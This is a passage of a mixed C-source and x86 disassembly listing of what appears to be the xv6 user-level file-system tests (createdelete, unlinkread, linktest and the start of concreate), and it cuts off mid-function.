136d: 8d 76 00 lea 0x0(%esi),%esi
1370: 85 f6 test %esi,%esi
exit();
}
if(pid == 0){
name[0] = 'p' + pi;
name[2] = '\0';
1372: bb 70 00 00 00 mov $0x70,%ebx
1377: 8d 46 30 lea 0x30(%esi),%eax
137a: 0f 94 45 c7 sete -0x39(%ebp)
137e: 83 fe 09 cmp $0x9,%esi
1381: 88 45 c6 mov %al,-0x3a(%ebp)
1384: 0f 9f c0 setg %al
1387: 08 45 c7 or %al,-0x39(%ebp)
138a: 8d 46 ff lea -0x1(%esi),%eax
138d: 89 45 c0 mov %eax,-0x40(%ebp)
name[0] = name[1] = name[2] = 0;
for(i = 0; i < N; i++){
for(pi = 0; pi < 4; pi++){
name[0] = 'p' + pi;
name[1] = '0' + i;
1390: 0f b6 45 c6 movzbl -0x3a(%ebp),%eax
fd = open(name, 0);
1394: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
139b: 00
139c: 89 3c 24 mov %edi,(%esp)
}
name[0] = name[1] = name[2] = 0;
for(i = 0; i < N; i++){
for(pi = 0; pi < 4; pi++){
name[0] = 'p' + pi;
139f: 88 5d c8 mov %bl,-0x38(%ebp)
name[1] = '0' + i;
13a2: 88 45 c9 mov %al,-0x37(%ebp)
fd = open(name, 0);
13a5: e8 38 29 00 00 call 3ce2 <open>
if((i == 0 || i >= N/2) && fd < 0){
13aa: 80 7d c7 00 cmpb $0x0,-0x39(%ebp)
13ae: 0f 84 84 00 00 00 je 1438 <createdelete+0x128>
13b4: 85 c0 test %eax,%eax
13b6: 0f 88 1c 01 00 00 js 14d8 <createdelete+0x1c8>
printf(1, "oops createdelete %s didn't exist\n", name);
exit();
} else if((i >= 1 && i < N/2) && fd >= 0){
13bc: 83 7d c0 08 cmpl $0x8,-0x40(%ebp)
13c0: 0f 86 61 01 00 00 jbe 1527 <createdelete+0x217>
printf(1, "oops createdelete %s did exist\n", name);
exit();
}
if(fd >= 0)
close(fd);
13c6: 89 04 24 mov %eax,(%esp)
13c9: 83 c3 01 add $0x1,%ebx
13cc: e8 f9 28 00 00 call 3cca <close>
wait();
}
name[0] = name[1] = name[2] = 0;
for(i = 0; i < N; i++){
for(pi = 0; pi < 4; pi++){
13d1: 80 fb 74 cmp $0x74,%bl
13d4: 75 ba jne 1390 <createdelete+0x80>
for(pi = 0; pi < 4; pi++){
wait();
}
name[0] = name[1] = name[2] = 0;
for(i = 0; i < N; i++){
13d6: 83 c6 01 add $0x1,%esi
13d9: 83 fe 14 cmp $0x14,%esi
13dc: 75 92 jne 1370 <createdelete+0x60>
13de: be 70 00 00 00 mov $0x70,%esi
13e3: 90 nop
13e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
13e8: 8d 46 c0 lea -0x40(%esi),%eax
13eb: bb 04 00 00 00 mov $0x4,%ebx
13f0: 88 45 c7 mov %al,-0x39(%ebp)
}
}
for(i = 0; i < N; i++){
for(pi = 0; pi < 4; pi++){
name[0] = 'p' + i;
13f3: 89 f0 mov %esi,%eax
13f5: 88 45 c8 mov %al,-0x38(%ebp)
name[1] = '0' + i;
13f8: 0f b6 45 c7 movzbl -0x39(%ebp),%eax
unlink(name);
13fc: 89 3c 24 mov %edi,(%esp)
}
for(i = 0; i < N; i++){
for(pi = 0; pi < 4; pi++){
name[0] = 'p' + i;
name[1] = '0' + i;
13ff: 88 45 c9 mov %al,-0x37(%ebp)
unlink(name);
1402: e8 eb 28 00 00 call 3cf2 <unlink>
close(fd);
}
}
for(i = 0; i < N; i++){
for(pi = 0; pi < 4; pi++){
1407: 83 eb 01 sub $0x1,%ebx
140a: 75 e7 jne 13f3 <createdelete+0xe3>
140c: 83 c6 01 add $0x1,%esi
if(fd >= 0)
close(fd);
}
}
for(i = 0; i < N; i++){
140f: 89 f0 mov %esi,%eax
1411: 3c 84 cmp $0x84,%al
1413: 75 d3 jne 13e8 <createdelete+0xd8>
name[1] = '0' + i;
unlink(name);
}
}
printf(1, "createdelete ok\n");
1415: c7 44 24 04 33 46 00 movl $0x4633,0x4(%esp)
141c: 00
141d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1424: e8 d7 29 00 00 call 3e00 <printf>
}
1429: 83 c4 4c add $0x4c,%esp
142c: 5b pop %ebx
142d: 5e pop %esi
142e: 5f pop %edi
142f: 5d pop %ebp
1430: c3 ret
1431: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
name[1] = '0' + i;
fd = open(name, 0);
if((i == 0 || i >= N/2) && fd < 0){
printf(1, "oops createdelete %s didn't exist\n", name);
exit();
} else if((i >= 1 && i < N/2) && fd >= 0){
1438: 85 c0 test %eax,%eax
143a: 0f 89 e7 00 00 00 jns 1527 <createdelete+0x217>
1440: 83 c3 01 add $0x1,%ebx
wait();
}
name[0] = name[1] = name[2] = 0;
for(i = 0; i < N; i++){
for(pi = 0; pi < 4; pi++){
1443: 80 fb 74 cmp $0x74,%bl
1446: 0f 85 44 ff ff ff jne 1390 <createdelete+0x80>
for(pi = 0; pi < 4; pi++){
wait();
}
name[0] = name[1] = name[2] = 0;
for(i = 0; i < N; i++){
144c: 83 c6 01 add $0x1,%esi
144f: 83 fe 14 cmp $0x14,%esi
1452: 0f 85 18 ff ff ff jne 1370 <createdelete+0x60>
1458: eb 84 jmp 13de <createdelete+0xce>
printf(1, "fork failed\n");
exit();
}
if(pid == 0){
name[0] = 'p' + pi;
145a: 83 c3 70 add $0x70,%ebx
name[2] = '\0';
145d: be 01 00 00 00 mov $0x1,%esi
printf(1, "fork failed\n");
exit();
}
if(pid == 0){
name[0] = 'p' + pi;
1462: 88 5d c8 mov %bl,-0x38(%ebp)
1465: 8d 7d c8 lea -0x38(%ebp),%edi
name[2] = '\0';
1468: 31 db xor %ebx,%ebx
146a: c6 45 ca 00 movb $0x0,-0x36(%ebp)
146e: eb 0b jmp 147b <createdelete+0x16b>
for(i = 0; i < N; i++){
1470: 83 fe 14 cmp $0x14,%esi
1473: 74 7b je 14f0 <createdelete+0x1e0>
1475: 83 c3 01 add $0x1,%ebx
1478: 83 c6 01 add $0x1,%esi
147b: 8d 43 30 lea 0x30(%ebx),%eax
name[1] = '0' + i;
fd = open(name, O_CREATE | O_RDWR);
147e: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
1485: 00
1486: 89 3c 24 mov %edi,(%esp)
1489: 88 45 c9 mov %al,-0x37(%ebp)
148c: e8 51 28 00 00 call 3ce2 <open>
if(fd < 0){
1491: 85 c0 test %eax,%eax
1493: 78 60 js 14f5 <createdelete+0x1e5>
printf(1, "create failed\n");
exit();
}
close(fd);
1495: 89 04 24 mov %eax,(%esp)
1498: e8 2d 28 00 00 call 3cca <close>
if(i > 0 && (i % 2 ) == 0){
149d: 85 db test %ebx,%ebx
149f: 74 d4 je 1475 <createdelete+0x165>
14a1: f6 c3 01 test $0x1,%bl
14a4: 75 ca jne 1470 <createdelete+0x160>
name[1] = '0' + (i / 2);
14a6: 89 d8 mov %ebx,%eax
14a8: d1 f8 sar %eax
14aa: 83 c0 30 add $0x30,%eax
if(unlink(name) < 0){
14ad: 89 3c 24 mov %edi,(%esp)
printf(1, "create failed\n");
exit();
}
close(fd);
if(i > 0 && (i % 2 ) == 0){
name[1] = '0' + (i / 2);
14b0: 88 45 c9 mov %al,-0x37(%ebp)
if(unlink(name) < 0){
14b3: e8 3a 28 00 00 call 3cf2 <unlink>
14b8: 85 c0 test %eax,%eax
14ba: 79 b4 jns 1470 <createdelete+0x160>
printf(1, "unlink failed\n");
14bc: c7 44 24 04 21 42 00 movl $0x4221,0x4(%esp)
14c3: 00
14c4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
14cb: e8 30 29 00 00 call 3e00 <printf>
exit();
14d0: e8 cd 27 00 00 call 3ca2 <exit>
14d5: 8d 76 00 lea 0x0(%esi),%esi
for(pi = 0; pi < 4; pi++){
name[0] = 'p' + pi;
name[1] = '0' + i;
fd = open(name, 0);
if((i == 0 || i >= N/2) && fd < 0){
printf(1, "oops createdelete %s didn't exist\n", name);
14d8: 89 7c 24 08 mov %edi,0x8(%esp)
14dc: c7 44 24 04 e0 52 00 movl $0x52e0,0x4(%esp)
14e3: 00
14e4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
14eb: e8 10 29 00 00 call 3e00 <printf>
exit();
14f0: e8 ad 27 00 00 call 3ca2 <exit>
name[2] = '\0';
for(i = 0; i < N; i++){
name[1] = '0' + i;
fd = open(name, O_CREATE | O_RDWR);
if(fd < 0){
printf(1, "create failed\n");
14f5: c7 44 24 04 6f 48 00 movl $0x486f,0x4(%esp)
14fc: 00
14fd: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1504: e8 f7 28 00 00 call 3e00 <printf>
exit();
1509: e8 94 27 00 00 call 3ca2 <exit>
printf(1, "createdelete test\n");
for(pi = 0; pi < 4; pi++){
pid = fork();
if(pid < 0){
printf(1, "fork failed\n");
150e: c7 44 24 04 a9 50 00 movl $0x50a9,0x4(%esp)
1515: 00
1516: c7 04 24 01 00 00 00 movl $0x1,(%esp)
151d: e8 de 28 00 00 call 3e00 <printf>
exit();
1522: e8 7b 27 00 00 call 3ca2 <exit>
fd = open(name, 0);
if((i == 0 || i >= N/2) && fd < 0){
printf(1, "oops createdelete %s didn't exist\n", name);
exit();
} else if((i >= 1 && i < N/2) && fd >= 0){
printf(1, "oops createdelete %s did exist\n", name);
1527: 89 7c 24 08 mov %edi,0x8(%esp)
152b: c7 44 24 04 04 53 00 movl $0x5304,0x4(%esp)
1532: 00
1533: c7 04 24 01 00 00 00 movl $0x1,(%esp)
153a: e8 c1 28 00 00 call 3e00 <printf>
exit();
153f: e8 5e 27 00 00 call 3ca2 <exit>
1544: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
154a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00001550 <unlinkread>:
}
// can I unlink a file and still read it?
void
unlinkread(void)
{
1550: 55 push %ebp
1551: 89 e5 mov %esp,%ebp
1553: 56 push %esi
1554: 53 push %ebx
1555: 83 ec 10 sub $0x10,%esp
int fd, fd1;
printf(1, "unlinkread test\n");
1558: c7 44 24 04 44 46 00 movl $0x4644,0x4(%esp)
155f: 00
1560: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1567: e8 94 28 00 00 call 3e00 <printf>
fd = open("unlinkread", O_CREATE | O_RDWR);
156c: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
1573: 00
1574: c7 04 24 55 46 00 00 movl $0x4655,(%esp)
157b: e8 62 27 00 00 call 3ce2 <open>
if(fd < 0){
1580: 85 c0 test %eax,%eax
unlinkread(void)
{
int fd, fd1;
printf(1, "unlinkread test\n");
fd = open("unlinkread", O_CREATE | O_RDWR);
1582: 89 c3 mov %eax,%ebx
if(fd < 0){
1584: 0f 88 fe 00 00 00 js 1688 <unlinkread+0x138>
printf(1, "create unlinkread failed\n");
exit();
}
write(fd, "hello", 5);
158a: c7 44 24 08 05 00 00 movl $0x5,0x8(%esp)
1591: 00
1592: c7 44 24 04 7a 46 00 movl $0x467a,0x4(%esp)
1599: 00
159a: 89 04 24 mov %eax,(%esp)
159d: e8 20 27 00 00 call 3cc2 <write>
close(fd);
15a2: 89 1c 24 mov %ebx,(%esp)
15a5: e8 20 27 00 00 call 3cca <close>
fd = open("unlinkread", O_RDWR);
15aa: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
15b1: 00
15b2: c7 04 24 55 46 00 00 movl $0x4655,(%esp)
15b9: e8 24 27 00 00 call 3ce2 <open>
if(fd < 0){
15be: 85 c0 test %eax,%eax
exit();
}
write(fd, "hello", 5);
close(fd);
fd = open("unlinkread", O_RDWR);
15c0: 89 c3 mov %eax,%ebx
if(fd < 0){
15c2: 0f 88 3d 01 00 00 js 1705 <unlinkread+0x1b5>
printf(1, "open unlinkread failed\n");
exit();
}
if(unlink("unlinkread") != 0){
15c8: c7 04 24 55 46 00 00 movl $0x4655,(%esp)
15cf: e8 1e 27 00 00 call 3cf2 <unlink>
15d4: 85 c0 test %eax,%eax
15d6: 0f 85 10 01 00 00 jne 16ec <unlinkread+0x19c>
printf(1, "unlink unlinkread failed\n");
exit();
}
fd1 = open("unlinkread", O_CREATE | O_RDWR);
15dc: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
15e3: 00
15e4: c7 04 24 55 46 00 00 movl $0x4655,(%esp)
15eb: e8 f2 26 00 00 call 3ce2 <open>
write(fd1, "yyy", 3);
15f0: c7 44 24 08 03 00 00 movl $0x3,0x8(%esp)
15f7: 00
15f8: c7 44 24 04 b2 46 00 movl $0x46b2,0x4(%esp)
15ff: 00
if(unlink("unlinkread") != 0){
printf(1, "unlink unlinkread failed\n");
exit();
}
fd1 = open("unlinkread", O_CREATE | O_RDWR);
1600: 89 c6 mov %eax,%esi
write(fd1, "yyy", 3);
1602: 89 04 24 mov %eax,(%esp)
1605: e8 b8 26 00 00 call 3cc2 <write>
close(fd1);
160a: 89 34 24 mov %esi,(%esp)
160d: e8 b8 26 00 00 call 3cca <close>
if(read(fd, buf, sizeof(buf)) != 5){
1612: c7 44 24 08 00 20 00 movl $0x2000,0x8(%esp)
1619: 00
161a: c7 44 24 04 c0 89 00 movl $0x89c0,0x4(%esp)
1621: 00
1622: 89 1c 24 mov %ebx,(%esp)
1625: e8 90 26 00 00 call 3cba <read>
162a: 83 f8 05 cmp $0x5,%eax
162d: 0f 85 a0 00 00 00 jne 16d3 <unlinkread+0x183>
printf(1, "unlinkread read failed");
exit();
}
if(buf[0] != 'h'){
1633: 80 3d c0 89 00 00 68 cmpb $0x68,0x89c0
163a: 75 7e jne 16ba <unlinkread+0x16a>
printf(1, "unlinkread wrong data\n");
exit();
}
if(write(fd, buf, 10) != 10){
163c: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
1643: 00
1644: c7 44 24 04 c0 89 00 movl $0x89c0,0x4(%esp)
164b: 00
164c: 89 1c 24 mov %ebx,(%esp)
164f: e8 6e 26 00 00 call 3cc2 <write>
1654: 83 f8 0a cmp $0xa,%eax
1657: 75 48 jne 16a1 <unlinkread+0x151>
printf(1, "unlinkread write failed\n");
exit();
}
close(fd);
1659: 89 1c 24 mov %ebx,(%esp)
165c: e8 69 26 00 00 call 3cca <close>
unlink("unlinkread");
1661: c7 04 24 55 46 00 00 movl $0x4655,(%esp)
1668: e8 85 26 00 00 call 3cf2 <unlink>
printf(1, "unlinkread ok\n");
166d: c7 44 24 04 fd 46 00 movl $0x46fd,0x4(%esp)
1674: 00
1675: c7 04 24 01 00 00 00 movl $0x1,(%esp)
167c: e8 7f 27 00 00 call 3e00 <printf>
}
1681: 83 c4 10 add $0x10,%esp
1684: 5b pop %ebx
1685: 5e pop %esi
1686: 5d pop %ebp
1687: c3 ret
int fd, fd1;
printf(1, "unlinkread test\n");
fd = open("unlinkread", O_CREATE | O_RDWR);
if(fd < 0){
printf(1, "create unlinkread failed\n");
1688: c7 44 24 04 60 46 00 movl $0x4660,0x4(%esp)
168f: 00
1690: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1697: e8 64 27 00 00 call 3e00 <printf>
exit();
169c: e8 01 26 00 00 call 3ca2 <exit>
if(buf[0] != 'h'){
printf(1, "unlinkread wrong data\n");
exit();
}
if(write(fd, buf, 10) != 10){
printf(1, "unlinkread write failed\n");
16a1: c7 44 24 04 e4 46 00 movl $0x46e4,0x4(%esp)
16a8: 00
16a9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
16b0: e8 4b 27 00 00 call 3e00 <printf>
exit();
16b5: e8 e8 25 00 00 call 3ca2 <exit>
if(read(fd, buf, sizeof(buf)) != 5){
printf(1, "unlinkread read failed");
exit();
}
if(buf[0] != 'h'){
printf(1, "unlinkread wrong data\n");
16ba: c7 44 24 04 cd 46 00 movl $0x46cd,0x4(%esp)
16c1: 00
16c2: c7 04 24 01 00 00 00 movl $0x1,(%esp)
16c9: e8 32 27 00 00 call 3e00 <printf>
exit();
16ce: e8 cf 25 00 00 call 3ca2 <exit>
fd1 = open("unlinkread", O_CREATE | O_RDWR);
write(fd1, "yyy", 3);
close(fd1);
if(read(fd, buf, sizeof(buf)) != 5){
printf(1, "unlinkread read failed");
16d3: c7 44 24 04 b6 46 00 movl $0x46b6,0x4(%esp)
16da: 00
16db: c7 04 24 01 00 00 00 movl $0x1,(%esp)
16e2: e8 19 27 00 00 call 3e00 <printf>
exit();
16e7: e8 b6 25 00 00 call 3ca2 <exit>
if(fd < 0){
printf(1, "open unlinkread failed\n");
exit();
}
if(unlink("unlinkread") != 0){
printf(1, "unlink unlinkread failed\n");
16ec: c7 44 24 04 98 46 00 movl $0x4698,0x4(%esp)
16f3: 00
16f4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
16fb: e8 00 27 00 00 call 3e00 <printf>
exit();
1700: e8 9d 25 00 00 call 3ca2 <exit>
write(fd, "hello", 5);
close(fd);
fd = open("unlinkread", O_RDWR);
if(fd < 0){
printf(1, "open unlinkread failed\n");
1705: c7 44 24 04 80 46 00 movl $0x4680,0x4(%esp)
170c: 00
170d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1714: e8 e7 26 00 00 call 3e00 <printf>
exit();
1719: e8 84 25 00 00 call 3ca2 <exit>
171e: 66 90 xchg %ax,%ax
00001720 <linktest>:
printf(1, "unlinkread ok\n");
}
void
linktest(void)
{
1720: 55 push %ebp
1721: 89 e5 mov %esp,%ebp
1723: 53 push %ebx
1724: 83 ec 14 sub $0x14,%esp
int fd;
printf(1, "linktest\n");
1727: c7 44 24 04 0c 47 00 movl $0x470c,0x4(%esp)
172e: 00
172f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1736: e8 c5 26 00 00 call 3e00 <printf>
unlink("lf1");
173b: c7 04 24 16 47 00 00 movl $0x4716,(%esp)
1742: e8 ab 25 00 00 call 3cf2 <unlink>
unlink("lf2");
1747: c7 04 24 1a 47 00 00 movl $0x471a,(%esp)
174e: e8 9f 25 00 00 call 3cf2 <unlink>
fd = open("lf1", O_CREATE|O_RDWR);
1753: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
175a: 00
175b: c7 04 24 16 47 00 00 movl $0x4716,(%esp)
1762: e8 7b 25 00 00 call 3ce2 <open>
if(fd < 0){
1767: 85 c0 test %eax,%eax
printf(1, "linktest\n");
unlink("lf1");
unlink("lf2");
fd = open("lf1", O_CREATE|O_RDWR);
1769: 89 c3 mov %eax,%ebx
if(fd < 0){
176b: 0f 88 26 01 00 00 js 1897 <linktest+0x177>
printf(1, "create lf1 failed\n");
exit();
}
if(write(fd, "hello", 5) != 5){
1771: c7 44 24 08 05 00 00 movl $0x5,0x8(%esp)
1778: 00
1779: c7 44 24 04 7a 46 00 movl $0x467a,0x4(%esp)
1780: 00
1781: 89 04 24 mov %eax,(%esp)
1784: e8 39 25 00 00 call 3cc2 <write>
1789: 83 f8 05 cmp $0x5,%eax
178c: 0f 85 cd 01 00 00 jne 195f <linktest+0x23f>
printf(1, "write lf1 failed\n");
exit();
}
close(fd);
1792: 89 1c 24 mov %ebx,(%esp)
1795: e8 30 25 00 00 call 3cca <close>
if(link("lf1", "lf2") < 0){
179a: c7 44 24 04 1a 47 00 movl $0x471a,0x4(%esp)
17a1: 00
17a2: c7 04 24 16 47 00 00 movl $0x4716,(%esp)
17a9: e8 54 25 00 00 call 3d02 <link>
17ae: 85 c0 test %eax,%eax
17b0: 0f 88 90 01 00 00 js 1946 <linktest+0x226>
printf(1, "link lf1 lf2 failed\n");
exit();
}
unlink("lf1");
17b6: c7 04 24 16 47 00 00 movl $0x4716,(%esp)
17bd: e8 30 25 00 00 call 3cf2 <unlink>
if(open("lf1", 0) >= 0){
17c2: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
17c9: 00
17ca: c7 04 24 16 47 00 00 movl $0x4716,(%esp)
17d1: e8 0c 25 00 00 call 3ce2 <open>
17d6: 85 c0 test %eax,%eax
17d8: 0f 89 4f 01 00 00 jns 192d <linktest+0x20d>
printf(1, "unlinked lf1 but it is still there!\n");
exit();
}
fd = open("lf2", 0);
17de: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
17e5: 00
17e6: c7 04 24 1a 47 00 00 movl $0x471a,(%esp)
17ed: e8 f0 24 00 00 call 3ce2 <open>
if(fd < 0){
17f2: 85 c0 test %eax,%eax
if(open("lf1", 0) >= 0){
printf(1, "unlinked lf1 but it is still there!\n");
exit();
}
fd = open("lf2", 0);
17f4: 89 c3 mov %eax,%ebx
if(fd < 0){
17f6: 0f 88 18 01 00 00 js 1914 <linktest+0x1f4>
printf(1, "open lf2 failed\n");
exit();
}
if(read(fd, buf, sizeof(buf)) != 5){
17fc: c7 44 24 08 00 20 00 movl $0x2000,0x8(%esp)
1803: 00
1804: c7 44 24 04 c0 89 00 movl $0x89c0,0x4(%esp)
180b: 00
180c: 89 04 24 mov %eax,(%esp)
180f: e8 a6 24 00 00 call 3cba <read>
1814: 83 f8 05 cmp $0x5,%eax
1817: 0f 85 de 00 00 00 jne 18fb <linktest+0x1db>
printf(1, "read lf2 failed\n");
exit();
}
close(fd);
181d: 89 1c 24 mov %ebx,(%esp)
1820: e8 a5 24 00 00 call 3cca <close>
if(link("lf2", "lf2") >= 0){
1825: c7 44 24 04 1a 47 00 movl $0x471a,0x4(%esp)
182c: 00
182d: c7 04 24 1a 47 00 00 movl $0x471a,(%esp)
1834: e8 c9 24 00 00 call 3d02 <link>
1839: 85 c0 test %eax,%eax
183b: 0f 89 a1 00 00 00 jns 18e2 <linktest+0x1c2>
printf(1, "link lf2 lf2 succeeded! oops\n");
exit();
}
unlink("lf2");
1841: c7 04 24 1a 47 00 00 movl $0x471a,(%esp)
1848: e8 a5 24 00 00 call 3cf2 <unlink>
if(link("lf2", "lf1") >= 0){
184d: c7 44 24 04 16 47 00 movl $0x4716,0x4(%esp)
1854: 00
1855: c7 04 24 1a 47 00 00 movl $0x471a,(%esp)
185c: e8 a1 24 00 00 call 3d02 <link>
1861: 85 c0 test %eax,%eax
1863: 79 64 jns 18c9 <linktest+0x1a9>
printf(1, "link non-existant succeeded! oops\n");
exit();
}
if(link(".", "lf1") >= 0){
1865: c7 44 24 04 16 47 00 movl $0x4716,0x4(%esp)
186c: 00
186d: c7 04 24 de 49 00 00 movl $0x49de,(%esp)
1874: e8 89 24 00 00 call 3d02 <link>
1879: 85 c0 test %eax,%eax
187b: 79 33 jns 18b0 <linktest+0x190>
printf(1, "link . lf1 succeeded! oops\n");
exit();
}
printf(1, "linktest ok\n");
187d: c7 44 24 04 b4 47 00 movl $0x47b4,0x4(%esp)
1884: 00
1885: c7 04 24 01 00 00 00 movl $0x1,(%esp)
188c: e8 6f 25 00 00 call 3e00 <printf>
}
1891: 83 c4 14 add $0x14,%esp
1894: 5b pop %ebx
1895: 5d pop %ebp
1896: c3 ret
unlink("lf1");
unlink("lf2");
fd = open("lf1", O_CREATE|O_RDWR);
if(fd < 0){
printf(1, "create lf1 failed\n");
1897: c7 44 24 04 1e 47 00 movl $0x471e,0x4(%esp)
189e: 00
189f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
18a6: e8 55 25 00 00 call 3e00 <printf>
exit();
18ab: e8 f2 23 00 00 call 3ca2 <exit>
printf(1, "link non-existant succeeded! oops\n");
exit();
}
if(link(".", "lf1") >= 0){
printf(1, "link . lf1 succeeded! oops\n");
18b0: c7 44 24 04 98 47 00 movl $0x4798,0x4(%esp)
18b7: 00
18b8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
18bf: e8 3c 25 00 00 call 3e00 <printf>
exit();
18c4: e8 d9 23 00 00 call 3ca2 <exit>
exit();
}
unlink("lf2");
if(link("lf2", "lf1") >= 0){
printf(1, "link non-existant succeeded! oops\n");
18c9: c7 44 24 04 4c 53 00 movl $0x534c,0x4(%esp)
18d0: 00
18d1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
18d8: e8 23 25 00 00 call 3e00 <printf>
exit();
18dd: e8 c0 23 00 00 call 3ca2 <exit>
exit();
}
close(fd);
if(link("lf2", "lf2") >= 0){
printf(1, "link lf2 lf2 succeeded! oops\n");
18e2: c7 44 24 04 7a 47 00 movl $0x477a,0x4(%esp)
18e9: 00
18ea: c7 04 24 01 00 00 00 movl $0x1,(%esp)
18f1: e8 0a 25 00 00 call 3e00 <printf>
exit();
18f6: e8 a7 23 00 00 call 3ca2 <exit>
if(fd < 0){
printf(1, "open lf2 failed\n");
exit();
}
if(read(fd, buf, sizeof(buf)) != 5){
printf(1, "read lf2 failed\n");
18fb: c7 44 24 04 69 47 00 movl $0x4769,0x4(%esp)
1902: 00
1903: c7 04 24 01 00 00 00 movl $0x1,(%esp)
190a: e8 f1 24 00 00 call 3e00 <printf>
exit();
190f: e8 8e 23 00 00 call 3ca2 <exit>
exit();
}
fd = open("lf2", 0);
if(fd < 0){
printf(1, "open lf2 failed\n");
1914: c7 44 24 04 58 47 00 movl $0x4758,0x4(%esp)
191b: 00
191c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1923: e8 d8 24 00 00 call 3e00 <printf>
exit();
1928: e8 75 23 00 00 call 3ca2 <exit>
exit();
}
unlink("lf1");
if(open("lf1", 0) >= 0){
printf(1, "unlinked lf1 but it is still there!\n");
192d: c7 44 24 04 24 53 00 movl $0x5324,0x4(%esp)
1934: 00
1935: c7 04 24 01 00 00 00 movl $0x1,(%esp)
193c: e8 bf 24 00 00 call 3e00 <printf>
exit();
1941: e8 5c 23 00 00 call 3ca2 <exit>
exit();
}
close(fd);
if(link("lf1", "lf2") < 0){
printf(1, "link lf1 lf2 failed\n");
1946: c7 44 24 04 43 47 00 movl $0x4743,0x4(%esp)
194d: 00
194e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1955: e8 a6 24 00 00 call 3e00 <printf>
exit();
195a: e8 43 23 00 00 call 3ca2 <exit>
if(fd < 0){
printf(1, "create lf1 failed\n");
exit();
}
if(write(fd, "hello", 5) != 5){
printf(1, "write lf1 failed\n");
195f: c7 44 24 04 31 47 00 movl $0x4731,0x4(%esp)
1966: 00
1967: c7 04 24 01 00 00 00 movl $0x1,(%esp)
196e: e8 8d 24 00 00 call 3e00 <printf>
exit();
1973: e8 2a 23 00 00 call 3ca2 <exit>
1978: 90 nop
1979: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00001980 <concreate>:
}
// test concurrent create/link/unlink of the same file
void
concreate(void)
{
1980: 55 push %ebp
1981: 89 e5 mov %esp,%ebp
1983: 57 push %edi
1984: 56 push %esi
} de;
printf(1, "concreate test\n");
file[0] = 'C';
file[2] = '\0';
for(i = 0; i < 40; i++){
1985: 31 f6 xor %esi,%esi
}
// test concurrent create/link/unlink of the same file
void
concreate(void)
{
1987: 53 push %ebx
1988: 83 ec 5c sub $0x5c,%esp
struct {
ushort inum;
char name[14];
} de;
printf(1, "concreate test\n");
198b: c7 44 24 04 c1 47 00 movl $0x47c1,0x4(%esp)
1992: 00
1993: 8d 5d ad lea -0x53(%ebp),%ebx
1996: c7 04 24 01 00 00 00 movl $0x1,(%esp)
199d: e8 5e 24 00 00 call 3e00 <printf>
file[0] = 'C';
19a2: c6 45 ad 43 movb $0x43,-0x53(%ebp)
file[2] = '\0';
19a6: c6 45 af 00 movb $0x0,-0x51(%ebp)
19aa: eb 4f jmp 19fb <concreate+0x7b>
19ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(i = 0; i < 40; i++){
file[1] = '0' + i;
unlink(file);
pid = fork();
if(pid && (i % 3) == 1){
19b0: b8 56 55 55 55 mov $0x55555556,%eax
19b5: 89 f1 mov %esi,%ecx
19b7: f7 ee imul %esi
19b9: 89 f0 mov %esi,%eax
19bb: c1 f8 1f sar $0x1f,%eax
19be: 29 c2 sub %eax,%edx
19c0: 8d 04 52 lea (%edx,%edx,2),%eax
19c3: 29 c1 sub %eax,%ecx
19c5: 83 f9 01 cmp $0x1,%ecx
19c8: 74 7e je 1a48 <concreate+0xc8>
link("C0", file);
} else if(pid == 0 && (i % 5) == 1){
link("C0", file);
} else {
fd = open(file, O_CREATE | O_RDWR);
19ca: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
19d1: 00
19d2: 89 1c 24 mov %ebx,(%esp)
19d5: e8 08 23 00 00 call 3ce2 <open>
if(fd < 0){
19da: 85 c0 test %eax,%eax
19dc: 0f 88 43 02 00 00 js 1c25 <concreate+0x2a5>
printf(1, "concreate create %s failed\n", file);
exit();
}
close(fd);
19e2: 89 04 24 mov %eax,(%esp)
19e5: e8 e0 22 00 00 call 3cca <close>
}
if(pid == 0)
19ea: 85 ff test %edi,%edi
19ec: 74 52 je 1a40 <concreate+0xc0>
} de;
printf(1, "concreate test\n");
file[0] = 'C';
file[2] = '\0';
for(i = 0; i < 40; i++){
19ee: 83 c6 01 add $0x1,%esi
close(fd);
}
if(pid == 0)
exit();
else
wait();
19f1: e8 b4 22 00 00 call 3caa <wait>
} de;
printf(1, "concreate test\n");
file[0] = 'C';
file[2] = '\0';
for(i = 0; i < 40; i++){
19f6: 83 fe 28 cmp $0x28,%esi
19f9: 74 6d je 1a68 <concreate+0xe8>
19fb: 8d 46 30 lea 0x30(%esi),%eax
file[1] = '0' + i;
unlink(file);
19fe: 89 1c 24 mov %ebx,(%esp)
1a01: 88 45 ae mov %al,-0x52(%ebp)
1a04: e8 e9 22 00 00 call 3cf2 <unlink>
pid = fork();
1a09: e8 8c 22 00 00 call 3c9a <fork>
if(pid && (i % 3) == 1){
1a0e: 85 c0 test %eax,%eax
file[0] = 'C';
file[2] = '\0';
for(i = 0; i < 40; i++){
file[1] = '0' + i;
unlink(file);
pid = fork();
1a10: 89 c7 mov %eax,%edi
